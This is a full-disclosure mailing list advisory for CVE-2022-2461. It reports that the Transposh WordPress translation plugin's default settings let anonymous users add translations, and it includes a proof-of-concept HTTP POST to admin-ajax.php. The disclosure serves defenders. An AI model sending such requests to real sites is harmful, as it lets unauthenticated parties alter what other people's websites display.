full-disclosure - [FD] [CVE-2022-2461] Transposh <= 1.0.8.1 “tp_translation” Weak Default Translation Permissions

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Message-ID: <637F7191-5D71-44AE-94AF-9F07610BF690@rcesecurity.com>
Date: Fri, 22 Jul 2022 14:48:00 +0000
From: "Julien Ahrens (RCE Security)" <info@...security.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] [CVE-2022-2461] Transposh <= 1.0.8.1 “tp_translation” Weak Default Translation Permissions

RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
=======================
Product:        Transposh WordPress Translation
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type:           Incorrect Authorization [CWE-863]
Date found:     2022-07-13
Date published: 2022-07-22
CVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE:            CVE-2022-2461

2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.

3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below

4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)

5. VULNERABILITY DETAILS
========================
When installed Transposh comes with a set of pre-configured options, one of these
is the "Who can translate" setting under the "Settings" tab, which by default
allows "Anonymous" users to add translations via the plugin's "tp_translation"
ajax action.

Successful exploits can allow an unauthenticated attacker to add translations to
the WordPress site and thereby influence what is actually shown on the site.

6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/2
Host: [host]
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

action=tp_translation&ln0=en&sr0=rcesecurity.com&items=1&tk0=rcesecurity.com&tr0=rcesecurity.com

7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.

8. REPORT TIMELINE
==================
2022-07-13: Discovery of the vulnerability
2022-07-13: CVE requested from WPScan (CNA)
2022-07-18: No response from WPScan
2022-07-18: CVE requested from Wordfence (CNA) instead
2022-07-18: Sent note to vendor
2022-07-18: Wordfence assigns CVE-2022-2461
2022-07-20: Since there are currently no plans to provide fixes at all:
2022-07-22: Public disclosure

9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/

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